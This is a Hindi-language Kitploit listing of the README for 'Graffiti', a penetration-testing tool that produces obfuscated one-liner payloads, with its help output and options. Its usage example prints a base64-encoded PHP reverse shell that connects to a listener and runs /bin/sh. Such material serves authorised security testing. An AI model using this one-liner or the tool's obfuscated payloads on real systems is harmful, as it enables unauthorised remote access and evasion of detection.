Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Graffiti — एक उपकरण जो पेनिट्रेशन टेस्टिंग में सहायता के लिए अस्पष्टीकृत वन-लाइनर्स उत्पन्न करता है। | Kitploit
उपकरण/GitHubGitHub/ekultek/graffiti
पेलोड जनरेशनशेलकोडपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubekultek/graffiti

Graffiti

एक उपकरण जो पेनिट्रेशन टेस्टिंग में सहायता के लिए अस्पष्टीकृत वन-लाइनर्स उत्पन्न करता है।

रिपॉजिटरी देखें
1804437 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

graffitibanner

नोट: पेलोड को कभी भी ऑनलाइन चेकर्स पर अपलोड न करें

Graffiti एक उपकरण है जो पेनिट्रेशन टेस्टिंग स्थितियों में सहायता के लिए अस्पष्ट (obfuscated) वन-लाइनर्स उत्पन्न करता है। Graffiti एन्कोडिंग के लिए निम्नलिखित भाषाओं को स्वीकार करता है:

  • Python
  • Perl
  • Batch
  • Powershell
  • PHP
  • Bash

Graffiti उस भाषा को भी स्वीकार करेगा जो वर्तमान में सूची में नहीं है और वन-लाइनर को डेटाबेस में संग्रहीत करेगा।

विशेषताएँ

Graffiti एक डेटाबेस के साथ आता है जो प्रत्येक एन्कोडेड पेलोड को उसमें डाल देगा, ताकि अंतिम उपयोगकर्ता भविष्य में उपयोग के लिए पहले से बनाए गए पेलोड को देख सकें। पेलोड को निम्नलिखित तकनीकों का उपयोग करके एन्कोड किया जा सकता है:

  • Xor
  • Base64
  • Hex
  • ROT13
  • Raw

Graffiti की कुछ विशेषताओं में शामिल हैं:

  • टर्मिनल ड्रॉप-इन एक्सेस, बाहरी कमांड चलाने की क्षमता के साथ
  • अपनी खुद की पेलोड JSON फ़ाइलें बनाने की क्षमता
  • डेटाबेस के अंदर कैश्ड पेलोड देखने की क्षमता
  • त्वरित विलोपन के लिए डेटाबेस को मेमोरी में चलाने की क्षमता
  • टर्मिनल हिस्ट्री और टर्मिनल हिस्ट्री को सहेजना
  • टर्मिनल के अंदर ऑटो टैब पूर्णता
  • हिस्ट्री फ़ाइलों और डेटाबेस फ़ाइल को सुरक्षित रूप से मिटाने की क्षमता
  • ऊपर बताई गई कई एन्कोडिंग तकनीकें
  • उपयोग

    Graffiti एक अंतर्निहित टर्मिनल के साथ आता है, जब आप प्रोग्राम में कोई फ्लैग पास नहीं करते हैं तो यह टर्मिनल में गिर जाएगा। टर्मिनल में हिस्ट्री, बाहरी कमांड चलाने की क्षमता और अपने स्वयं के आंतरिक कमांड हैं। सहायता प्राप्त करने के लिए, आपको बस help या ? टाइप करना होगा:

    root@kitploit:~
    
      ________              _____  _____.__  __  .__ 
     /  _____/___________ _/ ____\/ ____\__|/  |_|__|
    /   \  __\_  __ \__  \\   __\\   __\|  \   __\  |
    \    \_\  \  | \// __ \|  |   |  |  |  ||  | |  |
     \______  /__|  (____  /__|   |__|  |__||__| |__|
            \/           \/           
     v(0.1)               
    
    no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal
    root@graffiti:~/graffiti# ?
    
     Command                                  Description
    ---------                                --------------
     help/?                                  Show this help
     external                                List available external commands
     cached                                  Display all payloads that are already in the database
     list/show                               List all available payloads
     search <phrase>                         Search for a specific payload
     use <payload> <coder>                   Use this payload and encode it using a specified coder
     info <payload>                          Get information on a specified payload
     check                                   Check for updates
     history                                 Display command history
     exit/quit                               Exit the terminal and running session
     encode <script-type> <coder>            Encode a provided payload
    
    root@graffiti:~/graffiti# help
    
     Command                                  Description
    ---------                                --------------
     help/?                                  Show this help
     external                                List available external commands
     cached                                  Display all payloads that are already in the database
     list/show                               List all available payloads
     search <phrase>                         Search for a specific payload
     use <payload> <coder>                   Use this payload and encode it using a specified coder
     info <payload>                          Get information on a specified payload
     check                                   Check for updates
     history                                 Display command history
     exit/quit                               Exit the terminal and running session
     encode <script-type> <coder>            Encode a provided payload
    

    Graffiti कमांड लाइन आर्गुमेंट्स के साथ भी आता है जब आपको किसी पेलोड को जल्दी से एन्कोड करने की आवश्यकता हो:

    root@kitploit:~
    usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
                       [--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
                       [-l]
                       [-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
                       [-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
                       [-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]]
    
    optional arguments:
      -h, --help            show this help message and exit
      -c CODEC, --codec CODEC
                            specify an encoding technique (*default=None)
      -p PAYLOAD, --payload PAYLOAD
                            pass the path to a payload to use (*default=None)
      --create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
                            create a payload file and store it inside of
                            ./etc/payloads (*default=None)
      -l, --list            list all available payloads by path (*default=False)
      -P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
                            pass your own personal payload to use for the encoding
                            (*default=None)
      -lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
                            pass a listening address to use for the payload (if
                            needed) (*default=None)
      -lP LISTENING-PORT, --lport LISTENING-PORT
                            pass a listening port to use for the payload (if
                            needed) (*default=None)
      -u URL, --url URL     pass a URL if needed by your payload (*default=None)
      -vC, --view-cached    view the cached data already present inside of the
                            database
      -H, --no-history      do not store the command history (*default=True)
      -W, --wipe            wipe the database and the history (*default=False)
      --memory              initialize the database into memory instead of a .db
                            file (*default=False)
      -mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
                            pass more external commands, this will allow them to
                            be accessed inside of the terminal commands must be in
                            your PATH (*default=None)
    

    पेलोड को एन्कोड करना इतना आसान है:

    root@kitploit:~
    root@graffiti:~/graffiti# python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1 -lP 9065
    Encoded Payload:
    --------------------------------------------------
    
    php -r 'exec(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'
    
    --------------------------------------------------
    

    Graffiti का एक डेमो यहाँ पाया जा सकता है:

    to_video

    स्थापना

    किसी भी Linux, Mac, या Windows सिस्टम पर, Graffiti को बिना किसी बाहरी पैकेज को स्थापित किए बॉक्स से बाहर काम करना चाहिए। यदि आप Graffiti को अपने सिस्टम पर एक एक्जीक्यूटेबल के रूप में स्थापित करना चाहते हैं (सफलतापूर्वक काम करने के लिए आपको या तो Linux या Mac चला रहा होना चाहिए), तो आपको बस निम्नलिखित करना होगा:

    root@kitploit:~
    ./install.sh
    

    यह Graffiti को आपके सिस्टम में स्थापित करेगा और आपको इसे कहीं से भी चलाने की अनुमति देगा।

    बग और समस्याएँ

    यदि आपको कोई बग या समस्या मिलती है, तो कृपया विवरण के साथ एक समस्या यहाँ बनाएँ और पहले ही धन्यवाद!

    टूल डाउनलोड करें